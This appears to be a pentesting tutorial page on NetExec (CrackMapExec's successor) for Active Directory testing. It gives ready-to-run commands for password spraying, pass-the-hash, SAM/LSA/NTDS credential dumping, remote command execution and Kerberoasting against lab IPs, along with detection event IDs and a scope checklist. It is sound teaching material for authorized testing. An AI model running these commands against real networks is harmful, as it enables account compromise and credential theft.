Skip to content
Pwnversity
TOOL-NETEXECadvanced · 4 min · upd. 2026-10

NetExec (CME)

NetExec (nxc, the successor to CrackMapExec) is the Swiss army knife of Active Directory and Windows network pentesting. It automates enumeration and credential spraying across multiple hosts and protocols (SMB, WinRM, LDAP, MSSQL, RDP, SSH). Essential in the Windows & AD area (see AD enumeration, Password spraying).

NetExec is a maintained fork of CrackMapExec. It combines Impacket and other libraries to validate credentials and enumerate at scale across many hosts at once, with a module system (-M) that extends its functionality (BloodHound, LAPS, etc.).

  • Validate credentials en masse: where does this account work?
  • Enumerate shares, users, policies, sessions, and group members.
  • Execute commands, dump hashes/secrets, and run modules.
  • Password spraying and pass-the-hash across network ranges.
Ventana de terminal
sudo apt install netexec # Kali/Parrot (recent)
# or with pipx (recommended for the latest version)
pipx install git+https://github.com/Pennyw0rth/NetExec
nxc --version
Ventana de terminal
nxc smb 10.10.10.0/24 # sweep: hosts, SMB signing, version
nxc smb 10.10.10.10 -u user -p 'Password123' # validate credentials
nxc smb 10.10.10.10 -u user -p 'Password123' --shares # list shares
nxc smb 10.10.10.10 -u user -p 'Password123' --users # domain users
nxc smb 10.10.10.10 -u user -p 'Password123' --pass-pol # password policy

The color code shows the result: [+] valid, (Pwn3d!) means administrative access on that host.

Pass-the-hash and spraying (see Password spraying):

Ventana de terminal
# pass-the-hash (NT hash instead of a password)
nxc smb 10.10.10.10 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:<NT>
# spraying: one password against many users (--continue-on-success)
nxc smb 10.10.10.10 -u users.txt -p 'Spring2025!' --continue-on-success
# local authentication (SAM) instead of domain
nxc smb 10.10.10.10 -u Administrator -p 'pass' --local-auth

Credential dumping (requires privileges, see Credential Dumping):

Ventana de terminal
nxc smb 10.10.10.10 -u admin -p 'pass' --sam # local hashes (SAM)
nxc smb 10.10.10.10 -u admin -p 'pass' --lsa # LSA secrets
nxc smb dc01 -u admin -p 'pass' --ntds # NTDS.dit (DCSync) on the DC

Command execution and other protocols:

Ventana de terminal
nxc smb 10.10.10.10 -u admin -p 'pass' -x 'whoami' # command via cmd
nxc smb 10.10.10.10 -u admin -p 'pass' -X 'whoami' # command via PowerShell
nxc winrm 10.10.10.10 -u admin -p 'pass' -x 'hostname' # WinRM
nxc ldap dc01 -u user -p 'pass' --kerberoasting kerb.txt # extract kerberoastable TGS
nxc ldap dc01 -u user -p 'pass' --asreproast asrep.txt # users without preauth

Modules:

Ventana de terminal
nxc smb host -L # list available modules
nxc smb host -u user -p 'pass' -M spider_plus # example module
flowchart TD
  A[Credential or hash] --> B[nxc smb range --continue-on-success]
  B --> C{Result}
  C -->|Pwn3d| D[--sam / --lsa / --ntds]
  C -->|Valid user| E[--shares --users --pass-pol]
  A --> F[nxc ldap --kerberoasting / --asreproast]
  D --> G[Hashes -> cracking / lateral]
  G --> H[Pass-the-hash to new hosts]
  • Sweep first without credentials to see SMB signing and vulnerable versions.
  • --continue-on-success is key in spraying so it doesn’t stop at the first hit.
  • Mind account lockout: check --pass-pol before spraying passwords.
  • NetExec keeps a database (~/.nxc) of discovered credentials and hosts.
  • Mass authentication generates many 4624/4625 events (successful/failed logon) in a short time: a clear spraying pattern.
  • Remote execution (-x) creates services like psexec (Event ID 7045) and spawns anomalous child processes (detectable with Sysmon, see Sysmon).
  • --ntds performs a DCSync replication: watch Event ID 4662 with directory-replication rights from non-DC hosts.
  • Range and credentials within authorized scope.
  • Initial sweep without credentials (SMB signing, versions).
  • Password policy reviewed before spraying.
  • --continue-on-success enabled when spraying.
  • Credential dumping only with privileges and explicit permission.